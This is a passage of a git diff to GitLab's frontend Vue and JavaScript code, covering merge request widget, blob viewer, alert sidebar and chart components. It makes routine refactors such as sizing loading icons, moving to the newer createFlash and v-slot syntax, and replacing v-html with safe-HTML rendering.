-} from '~/lib/utils/common_utils';
-import { objectToQuery } from '~/lib/utils/url_utility';
+import { buildUrlWithCurrentLocation, historyPushState } from '~/lib/utils/common_utils';
+import { objectToQuery, getParameterByName } from '~/lib/utils/url_utility';
import TablePagination from '~/vue_shared/components/pagination/table_pagination.vue';
import UserListsTable from './user_lists_table.vue';
diff --git a/app/assets/javascripts/user_popovers.js b/app/assets/javascripts/user_popovers.js
index 21368edb6af..0e25f71fe05 100644
--- a/app/assets/javascripts/user_popovers.js
+++ b/app/assets/javascripts/user_popovers.js
@@ -44,6 +44,7 @@ const populateUserInfo = (user) => {
bioHtml: sanitize(userData.bio_html),
workInformation: userData.work_information,
websiteUrl: userData.website_url,
+ pronouns: userData.pronouns,
loaded: true,
});
}
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/artifacts_list.vue b/app/assets/javascripts/vue_merge_request_widget/components/artifacts_list.vue
index dc766176617..68f4609f14d 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/artifacts_list.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/artifacts_list.vue
@@ -14,27 +14,25 @@ export default {
};
</script>
<template>
- <table class="table m-0">
- <thead class="thead-white text-nowrap">
- <tr class="d-none d-sm-table-row">
- <th class="w-0"></th>
- <th>{{ __('Artifact') }}</th>
- <th class="w-50"></th>
- <th>{{ __('Job') }}</th>
- </tr>
- </thead>
+ <div class="gl-pl-7">
+ <table class="table m-0">
+ <thead class="thead-white text-nowrap">
+ <tr class="d-none d-sm-table-row">
+ <th>{{ __('Artifact') }}</th>
+ <th>{{ __('Job') }}</th>
+ </tr>
+ </thead>
- <tbody>
- <tr v-for="item in artifacts" :key="item.text">
- <td class="w-0"></td>
- <td>
- <gl-link :href="item.url" target="_blank">{{ item.text }}</gl-link>
- </td>
- <td class="w-0"></td>
- <td>
- <gl-link :href="item.job_path">{{ item.job_name }}</gl-link>
- </td>
- </tr>
- </tbody>
- </table>
+ <tbody>
+ <tr v-for="item in artifacts" :key="item.text">
+ <td>
+ <gl-link :href="item.url" target="_blank">{{ item.text }}</gl-link>
+ </td>
+ <td>
+ <gl-link :href="item.job_path">{{ item.job_name }}</gl-link>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </div>
</template>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/deployment/memory_usage.vue b/app/assets/javascripts/vue_merge_request_widget/components/deployment/memory_usage.vue
index 410d2740e1d..bb1837399ed 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/deployment/memory_usage.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/deployment/memory_usage.vue
@@ -136,7 +136,7 @@ export default {
<template>
<div class="mr-info-list clearfix mr-memory-usage js-mr-memory-usage">
<p v-if="shouldShowLoading" class="usage-info js-usage-info usage-info-loading">
- <gl-loading-icon class="usage-info-load-spinner" />{{
+ <gl-loading-icon size="sm" class="usage-info-load-spinner" />{{
s__('mrWidget|Loading deployment statistics')
}}
</p>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/extensions/base.vue b/app/assets/javascripts/vue_merge_request_widget/components/extensions/base.vue
index 33809b953ee..0ac98f6c982 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/extensions/base.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/extensions/base.vue
@@ -122,7 +122,7 @@ export default {
</div>
<div v-if="!isCollapsed" class="mr-widget-grouped-section">
<div v-if="isLoadingExpanded" class="report-block-container">
- <gl-loading-icon inline /> {{ __('Loading...') }}
+ <gl-loading-icon size="sm" inline /> {{ __('Loading...') }}
</div>
<smart-virtual-list
v-else-if="fullData"
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_collapsible_extension.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_collapsible_extension.vue
index a619ae9c351..b75f2dce54e 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_collapsible_extension.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_collapsible_extension.vue
@@ -58,13 +58,13 @@ export default {
<template v-else>
<button
- class="btn-blank btn s32 square gl-mr-3"
+ class="btn-blank btn s32 square"
type="button"
:aria-label="ariaLabel"
:disabled="isLoading"
@click="toggleCollapsed"
>
- <gl-loading-icon v-if="isLoading" />
+ <gl-loading-icon v-if="isLoading" size="sm" />
<gl-icon v-else :name="arrowIconName" class="js-icon" />
</button>
<template v-if="isCollapsed">
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_header.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_header.vue
index f1230e2fdeb..5e401fc17e9 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_header.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_header.vue
@@ -1,16 +1,17 @@
<script>
-/* eslint-disable vue/no-v-html */
import {
GlButton,
GlDropdown,
GlDropdownSectionHeader,
GlDropdownItem,
+ GlLink,
GlTooltipDirective,
GlModalDirective,
+ GlSafeHtmlDirective as SafeHtml,
+ GlSprintf,
} from '@gitlab/ui';
-import { escape } from 'lodash';
import { mergeUrlParams, webIDEUrl } from '~/lib/utils/url_utility';
-import { n__, s__, sprintf } from '~/locale';
+import { s__ } from '~/locale';
import clipboardButton from '~/vue_shared/components/clipboard_button.vue';
import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
import MrWidgetHowToMergeModal from './mr_widget_how_to_merge_modal.vue';
@@ -27,10 +28,13 @@ export default {
GlDropdown,
GlDropdownSectionHeader,
GlDropdownItem,
+ GlLink,
+ GlSprintf,
},
directives: {
GlTooltip: GlTooltipDirective,
GlModalDirective,
+ SafeHtml,
},
props: {
mr: {
@@ -42,19 +46,6 @@ export default {
shouldShowCommitsBehindText() {
return this.mr.divergedCommitsCount > 0;
},
- commitsBehindText() {
- return sprintf(
- s__(
- 'mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch',
- ),
- {
- commitsBehindLinkStart: `<a href="${escape(this.mr.targetBranchPath)}">`,
- commitsBehind: n__('%d commit behind', '%d commits behind', this.mr.divergedCommitsCount),
- commitsBehindLinkEnd: '</a>',
- },
- false,
- );
- },
branchNameClipboardData() {
// This supports code in app/assets/javascripts/copy_to_clipboard.js that
// works around ClipboardJS limitations to allow the context-specific
@@ -100,10 +91,10 @@ export default {
<strong>
{{ s__('mrWidget|Request to merge') }}
<tooltip-on-truncate
+ v-safe-html="mr.sourceBranchLink"
:title="mr.sourceBranch"
truncate-target="child"
class="label-branch label-truncate js-source-branch"
- v-html="mr.sourceBranchLink"
/><clipboard-button
data-testid="mr-widget-copy-clipboard"
:text="branchNameClipboardData"
@@ -119,11 +110,15 @@ export default {
<a :href="mr.targetBranchTreePath" class="js-target-branch"> {{ mr.targetBranch }} </a>
</tooltip-on-truncate>
</strong>
- <div
- v-if="shouldShowCommitsBehindText"
- class="diverged-commits-count"
- v-html="commitsBehindText"
- ></div>
+ <div v-if="shouldShowCommitsBehindText" class="diverged-commits-count">
+ <gl-sprintf :message="s__('mrWidget|The source branch is %{link} the target branch')">
+ <template #link>
+ <gl-link :href="mr.targetBranchPath">{{
+ n__('%d commit behind', '%d commits behind', mr.divergedCommitsCount)
+ }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </div>
</div>
<div class="branch-actions d-flex">
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue
index 6c162a06161..9bb955c534f 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue
@@ -171,7 +171,7 @@ export default {
<template v-else-if="!hasPipeline">
<gl-loading-icon size="md" />
<p
- class="gl-flex-grow-1 gl-display-flex gl-ml-5 gl-mb-0"
+ class="gl-flex-grow-1 gl-display-flex gl-ml-3 gl-mb-0"
data-testid="monitoring-pipeline-message"
>
{{ $options.monitoringPipelineText }}
@@ -190,7 +190,7 @@ export default {
</p>
</template>
<template v-else-if="hasPipeline">
- <a :href="status.details_path" class="align-self-start gl-mr-3">
+ <a :href="status.details_path" class="gl-align-self-center gl-mr-3">
<ci-icon :status="status" :size="24" />
</a>
<div class="ci-widget-container d-flex">
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_auto_merge_enabled.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_auto_merge_enabled.vue
index 0cd280c42d2..f99b825ff30 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_auto_merge_enabled.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_auto_merge_enabled.vue
@@ -2,10 +2,10 @@
import { GlLoadingIcon, GlSkeletonLoader } from '@gitlab/ui';
import autoMergeMixin from 'ee_else_ce/vue_merge_request_widget/mixins/auto_merge';
import autoMergeEnabledQuery from 'ee_else_ce/vue_merge_request_widget/queries/states/auto_merge_enabled.query.graphql';
+import createFlash from '~/flash';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import { __ } from '~/locale';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-import { deprecatedCreateFlash as Flash } from '../../../flash';
import { AUTO_MERGE_STRATEGIES } from '../../constants';
import eventHub from '../../event_hub';
import mergeRequestQueryVariablesMixin from '../../mixins/merge_request_query_variables';
@@ -109,7 +109,9 @@ export default {
})
.catch(() => {
this.isCancellingAutoMerge = false;
- Flash(__('Something went wrong. Please try again.'));
+ createFlash({
+ message: __('Something went wrong. Please try again.'),
+ });
});
},
removeSourceBranch() {
@@ -135,7 +137,9 @@ export default {
})
.catch(() => {
this.isRemovingSourceBranch = false;
- Flash(__('Something went wrong. Please try again.'));
+ createFlash({
+ message: __('Something went wrong. Please try again.'),
+ });
});
},
},
@@ -173,7 +177,7 @@ export default {
data-testid="cancelAutomaticMergeButton"
@click.prevent="cancelAutomaticMerge"
>
- <gl-loading-icon v-if="isCancellingAutoMerge" inline class="gl-mr-1" />
+ <gl-loading-icon v-if="isCancellingAutoMerge" size="sm" inline class="gl-mr-1" />
{{ cancelButtonText }}
</a>
</h4>
@@ -196,7 +200,7 @@ export default {
data-testid="removeSourceBranchButton"
@click.prevent="removeSourceBranch"
>
- <gl-loading-icon v-if="isRemovingSourceBranch" inline class="gl-mr-1" />
+ <gl-loading-icon v-if="isRemovingSourceBranch" size="sm" inline class="gl-mr-1" />
{{ s__('mrWidget|Delete source branch') }}
</a>
</p>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_auto_merge_failed.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_auto_merge_failed.vue
index 5f8630bf7b3..1a764d3d091 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_auto_merge_failed.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_auto_merge_failed.vue
@@ -63,7 +63,7 @@ export default {
size="small"
@click="refreshWidget"
>
- <gl-loading-icon v-if="isRefreshing" :inline="true" />
+ <gl-loading-icon v-if="isRefreshing" size="sm" :inline="true" />
{{ s__('mrWidget|Refresh') }}
</gl-button>
</div>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue
index ee90d734ecb..5a93021978c 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue
@@ -112,7 +112,7 @@ export default {
<div v-else class="media-body space-children gl-display-flex gl-align-items-center">
<span v-if="shouldBeRebased" class="bold">
{{
- s__(`mrWidget|Fast-forward merge is not possible.
+ s__(`mrWidget|Merge blocked: fast-forward merge is not possible.
To merge this request, first rebase locally.`)
}}
</span>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_merged.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_merged.vue
index 9da3bea9362..5177eab790b 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_merged.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_merged.vue
@@ -1,14 +1,13 @@
<script>
/* eslint-disable @gitlab/vue-require-i18n-strings */
-import { GlLoadingIcon, GlButton, GlTooltipDirective } from '@gitlab/ui';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import { GlLoadingIcon, GlButton, GlTooltipDirective, GlIcon } from '@gitlab/ui';
+import createFlash from '~/flash';
import { s__, __ } from '~/locale';
import { OPEN_REVERT_MODAL, OPEN_CHERRY_PICK_MODAL } from '~/projects/commit/constants';
import modalEventHub from '~/projects/commit/event_hub';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
import eventHub from '../../event_hub';
import MrWidgetAuthorTime from '../mr_widget_author_time.vue';
-import statusIcon from '../mr_widget_status_icon.vue';
export default {
name: 'MRWidgetMerged',
@@ -17,7 +16,7 @@ export default {
},
components: {
MrWidgetAuthorTime,
- statusIcon,
+ GlIcon,
ClipboardButton,
GlLoadingIcon,
GlButton,
@@ -100,7 +99,9 @@ export default {
})
.catch(() => {
this.isMakingRequest = false;
- Flash(__('Something went wrong. Please try again.'));
+ createFlash({
+ message: __('Something went wrong. Please try again.'),
+ });
});
},
openRevertModal() {
@@ -114,7 +115,7 @@ export default {
</script>
<template>
<div class="mr-widget-body media">
- <status-icon status="success" />
+ <gl-icon name="merge" :size="24" class="gl-text-blue-500 gl-mr-3 gl-mt-1" />
<div class="media-body">
<div class="space-children">
<mr-widget-author-time
@@ -129,7 +130,6 @@ export default {
:title="revertTitle"
size="small"
category="secondary"
- variant="warning"
data-qa-selector="revert_button"
@click="openRevertModal"
>
@@ -142,7 +142,6 @@ export default {
:title="revertTitle"
size="small"
category="secondary"
- variant="warning"
data-method="post"
>
{{ revertLabel }}
@@ -167,6 +166,15 @@ export default {
>
{{ cherryPickLabel }}
</gl-button>
+ <gl-button
+ v-if="shouldShowRemoveSourceBranch"
+ :disabled="isMakingRequest"
+ size="small"
+ class="js-remove-branch-button"
+ @click="removeSourceBranch"
+ >
+ {{ s__('mrWidget|Delete source branch') }}
+ </gl-button>
</div>
<section class="mr-info-list" data-qa-selector="merged_status_content">
<p>
@@ -194,19 +202,8 @@ export default {
<p v-if="mr.sourceBranchRemoved">
{{ s__('mrWidget|The source branch has been deleted') }}
</p>
- <p v-if="shouldShowRemoveSourceBranch" class="space-children">
- <span>{{ s__('mrWidget|You can delete the source branch now') }}</span>
- <gl-button
- :disabled="isMakingRequest"
- size="small"
- class="js-remove-branch-button"
- @click="removeSourceBranch"
- >
- {{ s__('mrWidget|Delete source branch') }}
- </gl-button>
- </p>
<p v-if="shouldShowSourceBranchRemoving">
- <gl-loading-icon :inline="true" />
+ <gl-loading-icon size="sm" :inline="true" />
<span> {{ s__('mrWidget|The source branch is being deleted') }} </span>
</p>
</section>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue
index a82a8a22873..22f41b43095 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue
@@ -2,9 +2,9 @@
/* eslint-disable vue/no-v-html */
import { GlButton, GlSkeletonLoader } from '@gitlab/ui';
import { escape } from 'lodash';
+import createFlash from '~/flash';
import { __, sprintf } from '~/locale';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-import { deprecatedCreateFlash as Flash } from '../../../flash';
import simplePoll from '../../../lib/utils/simple_poll';
import eventHub from '../../event_hub';
import mergeRequestQueryVariablesMixin from '../../mixins/merge_request_query_variables';
@@ -87,9 +87,7 @@ export default {
},
fastForwardMergeText() {
return sprintf(
- __(
- 'Fast-forward merge is not possible. Rebase the source branch onto %{targetBranch} to allow this merge request to be merged.',
- ),
+ __('Merge blocked: the source branch must be rebased onto the target branch.'),
{
targetBranch: `<span class="label-branch">${escape(this.targetBranch)}</span>`,
},
@@ -113,7 +111,9 @@ export default {
if (error.response && error.response.data && error.response.data.merge_error) {
this.rebasingError = error.response.data.merge_error;
} else {
- Flash(__('Something went wrong. Please try again.'));
+ createFlash({
+ message: __('Something went wrong. Please try again.'),
+ });
}
});
},
@@ -129,7 +129,9 @@ export default {
if (res.merge_error && res.merge_error.length) {
this.rebasingError = res.merge_error;
- Flash(__('Something went wrong. Please try again.'));
+ createFlash({
+ message: __('Something went wrong. Please try again.'),
+ });
}
eventHub.$emit('MRWidgetRebaseSuccess');
@@ -138,7 +140,9 @@ export default {
})
.catch(() => {
this.isMakingRequest = false;
- Flash(__('Something went wrong. Please try again.'));
+ createFlash({
+ message: __('Something went wrong. Please try again.'),
+ });
stopPolling();
});
},
@@ -187,9 +191,7 @@ export default {
data-testid="rebase-message"
data-qa-selector="no_fast_forward_message_content"
>{{
- __(
- 'Fast-forward merge is not possible. Rebase the source branch onto the target branch.',
- )
+ __('Merge blocked: the source branch must be rebased onto the target branch.')
}}</span
>
<span v-else class="gl-font-weight-bold danger" data-testid="rebase-message">{{
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue
index 07de525b1fa..2d0b7fe46a6 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue
@@ -412,7 +412,6 @@ export default {
// If state is merged we should update the widget and stop the polling
eventHub.$emit('MRWidgetUpdateRequested');
eventHub.$emit('FetchActionsContent');
- MergeRequest.setStatusBoxToMerged();
MergeRequest.hideCloseButton();
MergeRequest.decreaseCounter();
stopPolling();
@@ -629,11 +628,9 @@ export default {
input-id="squash-message-edit"
squash
>
- <commit-message-dropdown
- slot="header"
- v-model="squashCommitMessage"
- :commits="commits"
- />
+ <template #header>
+ <commit-message-dropdown v-model="squashCommitMessage" :commits="commits" />
+ </template>
</commit-edit>
<commit-edit
v-if="shouldShowMergeEdit"
@@ -641,14 +638,16 @@ export default {
:label="__('Merge commit message')"
input-id="merge-message-edit"
>
- <label slot="checkbox">
- <input
- id="include-description"
- type="checkbox"
- @change="updateMergeCommitMessage($event.target.checked)"
- />
- {{ __('Include merge request description') }}
- </label>
+ <template #checkbox>
+ <label>
+ <input
+ id="include-description"
+ type="checkbox"
+ @change="updateMergeCommitMessage($event.target.checked)"
+ />
+ {{ __('Include merge request description') }}
+ </label>
+ </template>
</commit-edit>
</ul>
</commits-header>
diff --git a/app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue b/app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue
index e9dcf494099..5fe04269e33 100644
--- a/app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue
@@ -5,12 +5,12 @@ import MrWidgetApprovals from 'ee_else_ce/vue_merge_request_widget/components/ap
import MRWidgetService from 'ee_else_ce/vue_merge_request_widget/services/mr_widget_service';
import MRWidgetStore from 'ee_else_ce/vue_merge_request_widget/stores/mr_widget_store';
import stateMaps from 'ee_else_ce/vue_merge_request_widget/stores/state_maps';
+import createFlash from '~/flash';
import { secondsToMilliseconds } from '~/lib/utils/datetime_utility';
import notify from '~/lib/utils/notify';
import { sprintf, s__, __ } from '~/locale';
import Project from '~/pages/projects/project';
import SmartInterval from '~/smart_interval';
-import createFlash from '../flash';
import { setFaviconOverlay } from '../lib/utils/favicon';
import GroupedAccessibilityReportsApp from '../reports/accessibility_report/grouped_accessibility_reports_app.vue';
import GroupedCodequalityReportsApp from '../reports/codequality_report/grouped_codequality_reports_app.vue';
diff --git a/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js b/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js
index 4cc2f423d73..8e3160ce2f2 100644
--- a/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js
+++ b/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js
@@ -1,10 +1,11 @@
-import { format } from 'timeago.js';
import getStateKey from 'ee_else_ce/vue_merge_request_widget/stores/get_state_key';
import { statusBoxState } from '~/issuable/components/status_box.vue';
-import { formatDate } from '../../lib/utils/datetime_utility';
+import { formatDate, getTimeago } from '~/lib/utils/datetime_utility';
import { MTWPS_MERGE_STRATEGY, MT_MERGE_STRATEGY, MWPS_MERGE_STRATEGY } from '../constants';
import { stateKey } from './state_maps';
+const { format } = getTimeago();
+
export default class MergeRequestStore {
constructor(data) {
this.sha = data.diff_head_sha;
diff --git a/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_assignees.vue b/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_assignees.vue
index b7544a4a5d0..c24318cb9ad 100644
--- a/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_assignees.vue
+++ b/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_assignees.vue
@@ -204,7 +204,7 @@ export default {
@click="$emit('toggle-sidebar')"
>
<gl-icon name="user" />
- <gl-loading-icon v-if="isUpdating" />
+ <gl-loading-icon v-if="isUpdating" size="sm" />
</div>
<gl-tooltip :target="() => $refs.assignees" boundary="viewport" placement="left">
<gl-sprintf :message="$options.i18n.ASSIGNEES_BLOCK">
@@ -270,12 +270,12 @@ export default {
<p v-else-if="userListEmpty" class="gl-mx-5 gl-my-4">
{{ __('No Matching Results') }}
</p>
- <gl-loading-icon v-else />
+ <gl-loading-icon v-else size="sm" />
</div>
</gl-dropdown>
</div>
- <gl-loading-icon v-if="isUpdating" :inline="true" />
+ <gl-loading-icon v-if="isUpdating" size="sm" :inline="true" />
<div
v-else-if="!isDropdownShowing"
class="hide-collapsed value gl-m-0"
diff --git a/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_status.vue b/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_status.vue
index ce90a759cee..eaa5fc5af04 100644
--- a/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_status.vue
+++ b/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_status.vue
@@ -81,7 +81,7 @@ export default {
<template v-if="sidebarCollapsed">
<div ref="status" class="gl-ml-6" data-testid="status-icon" @click="$emit('toggle-sidebar')">
<gl-icon name="status" />
- <gl-loading-icon v-if="isUpdating" />
+ <gl-loading-icon v-if="isUpdating" size="sm" />
</div>
<gl-tooltip :target="() => $refs.status" boundary="viewport" placement="left">
<gl-sprintf :message="s__('AlertManagement|Alert status: %{status}')">
@@ -120,7 +120,7 @@ export default {
@handle-updating="handleUpdating"
/>
- <gl-loading-icon v-if="isUpdating" :inline="true" />
+ <gl-loading-icon v-if="isUpdating" size="sm" :inline="true" />
<p
v-else-if="!isDropdownShowing"
class="value gl-m-0"
diff --git a/app/assets/javascripts/vue_shared/components/actions_button.vue b/app/assets/javascripts/vue_shared/components/actions_button.vue
index 13472b48e84..bab13fe7c75 100644
--- a/app/assets/javascripts/vue_shared/components/actions_button.vue
+++ b/app/assets/javascripts/vue_shared/components/actions_button.vue
@@ -68,7 +68,7 @@ export default {
split
@click="handleClick(selectedAction, $event)"
>
- <template slot="button-content">
+ <template #button-content>
<span class="gl-new-dropdown-button-text" v-bind="selectedAction.attrs">
{{ selectedAction.text }}
</span>
diff --git a/app/assets/javascripts/vue_shared/components/awards_list.vue b/app/assets/javascripts/vue_shared/components/awards_list.vue
index e6d9a38d1fb..f4c73d12923 100644
--- a/app/assets/javascripts/vue_shared/components/awards_list.vue
+++ b/app/assets/javascripts/vue_shared/components/awards_list.vue
@@ -93,12 +93,12 @@ export default {
return {
name,
list,
- title: this.getAwardListTitle(list),
+ title: this.getAwardListTitle(list, name),
classes: this.getAwardClassBindings(list),
html: glEmojiTag(name),
};
},
- getAwardListTitle(awardsList) {
+ getAwardListTitle(awardsList, name) {
if (!awardsList.length) {
return '';
}
@@ -128,7 +128,7 @@ export default {
// We have 10+ awarded user, join them with comma and add `and x more`.
if (remainingAwardList.length) {
title = sprintf(
- __(`%{listToShow}, and %{awardsListLength} more.`),
+ __(`%{listToShow}, and %{awardsListLength} more`),
{
listToShow: namesToShow.join(', '),
awardsListLength: remainingAwardList.length,
@@ -146,7 +146,7 @@ export default {
title = namesToShow.join(__(' and '));
}
- return title;
+ return title + sprintf(__(' reacted with :%{name}:'), { name });
},
handleAward(awardName) {
if (!this.canAwardEmoji) {
diff --git a/app/assets/javascripts/vue_shared/components/blob_viewers/mixins.js b/app/assets/javascripts/vue_shared/components/blob_viewers/mixins.js
index 9c2ed5abf04..0c1d55ae707 100644
--- a/app/assets/javascripts/vue_shared/components/blob_viewers/mixins.js
+++ b/app/assets/javascripts/vue_shared/components/blob_viewers/mixins.js
@@ -5,7 +5,13 @@ export default {
props: {
content: {
type: String,
- required: true,
+ required: false,
+ default: null,
+ },
+ richViewer: {
+ type: String,
+ default: '',
+ required: false,
},
type: {
type: String,
diff --git a/app/assets/javascripts/vue_shared/components/blob_viewers/rich_viewer.vue b/app/assets/javascripts/vue_shared/components/blob_viewers/rich_viewer.vue
index a8a053c0d9e..dc4d1bd56e9 100644
--- a/app/assets/javascripts/vue_shared/components/blob_viewers/rich_viewer.vue
+++ b/app/assets/javascripts/vue_shared/components/blob_viewers/rich_viewer.vue
@@ -18,5 +18,5 @@ export default {
};
</script>
<template>
- <markdown-field-view ref="content" v-safe-html="content" />
+ <markdown-field-view ref="content" v-safe-html="richViewer || content" />
</template>
diff --git a/app/assets/javascripts/vue_shared/components/blob_viewers/simple_viewer.vue b/app/assets/javascripts/vue_shared/components/blob_viewers/simple_viewer.vue
index f6ab3cac536..0589b47edbd 100644
--- a/app/assets/javascripts/vue_shared/components/blob_viewers/simple_viewer.vue
+++ b/app/assets/javascripts/vue_shared/components/blob_viewers/simple_viewer.vue
@@ -9,8 +9,8 @@ export default {
name: 'SimpleViewer',
components: {
GlIcon,
- EditorLite: () =>
- import(/* webpackChunkName: 'EditorLite' */ '~/vue_shared/components/editor_lite.vue'),
+ SourceEditor: () =>
+ import(/* webpackChunkName: 'SourceEditor' */ '~/vue_shared/components/source_editor.vue'),
},
mixins: [ViewerMixin, glFeatureFlagsMixin()],
inject: ['blobHash'],
@@ -53,7 +53,7 @@ export default {
</script>
<template>
<div>
- <editor-lite
+ <source-editor
v-if="isRawContent && refactorBlobViewerEnabled"
:value="content"
:file-name="fileName"
diff --git a/app/assets/javascripts/vue_shared/components/changed_file_icon.vue b/app/assets/javascripts/vue_shared/components/changed_file_icon.vue
index 4b53f55b856..14e99977a85 100644
--- a/app/assets/javascripts/vue_shared/components/changed_file_icon.vue
+++ b/app/assets/javascripts/vue_shared/components/changed_file_icon.vue
@@ -82,13 +82,7 @@ export default {
data-qa-selector="changed_file_icon_content"
:data-qa-title="tooltipTitle"
>
- <gl-icon
- v-if="showIcon"
- :name="changedIcon"
- :size="size"
- :class="changedIconClass"
- use-deprecated-sizes
- />
+ <gl-icon v-if="showIcon" :name="changedIcon" :size="size" :class="changedIconClass" />
</span>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/ci_cd_analytics/ci_cd_analytics_area_chart.vue b/app/assets/javascripts/vue_shared/components/ci_cd_analytics/ci_cd_analytics_area_chart.vue
index 2552236a073..fb7105bd416 100644
--- a/app/assets/javascripts/vue_shared/components/ci_cd_analytics/ci_cd_analytics_area_chart.vue
+++ b/app/assets/javascripts/vue_shared/components/ci_cd_analytics/ci_cd_analytics_area_chart.vue
@@ -28,18 +28,23 @@ export default {
<slot></slot>
</p>
<resizable-chart-container>
- <gl-area-chart
- slot-scope="{ width }"
- v-bind="$attrs"
- :width="width"
- :height="$options.chartContainerHeight"
- :data="chartData"
- :include-legend-avg-max="false"
- :option="areaChartOptions"
- >
- <slot slot="tooltip-title" name="tooltip-title"></slot>
- <slot slot="tooltip-content" name="tooltip-content"></slot>
- </gl-area-chart>
+ <template #default="{ width }">
+ <gl-area-chart
+ v-bind="$attrs"
+ :width="width"
+ :height="$options.chartContainerHeight"
+ :data="chartData"
+ :include-legend-avg-max="false"
+ :option="areaChartOptions"
+ >
+ <template #tooltip-title>
+ <slot name="tooltip-title"></slot>
+ </template>
+ <template #tooltip-content>
+ <slot name="tooltip-content"></slot>
+ </template>
+ </gl-area-chart>
+ </template>
</resizable-chart-container>
</div>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/ci_cd_analytics/ci_cd_analytics_charts.vue b/app/assets/javascripts/vue_shared/components/ci_cd_analytics/ci_cd_analytics_charts.vue
index f4fd57e4cdc..0575d7f6404 100644
--- a/app/assets/javascripts/vue_shared/components/ci_cd_analytics/ci_cd_analytics_charts.vue
+++ b/app/assets/javascripts/vue_shared/components/ci_cd_analytics/ci_cd_analytics_charts.vue
@@ -46,9 +46,12 @@ export default {
:area-chart-options="chartOptions"
>
{{ dateRange }}
-
- <slot slot="tooltip-title" name="tooltip-title"></slot>
- <slot slot="tooltip-content" name="tooltip-content"></slot>
+ <template #tooltip-title>
+ <slot name="tooltip-title"></slot>
+ </template>
+ <template #tooltip-content>
+ <slot name="tooltip-content"></slot>
+ </template>
</ci-cd-analytics-area-chart>
</div>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/ci_icon.vue b/app/assets/javascripts/vue_shared/components/ci_icon.vue
index dbf459cb289..07bd6019b80 100644
--- a/app/assets/javascripts/vue_shared/components/ci_icon.vue
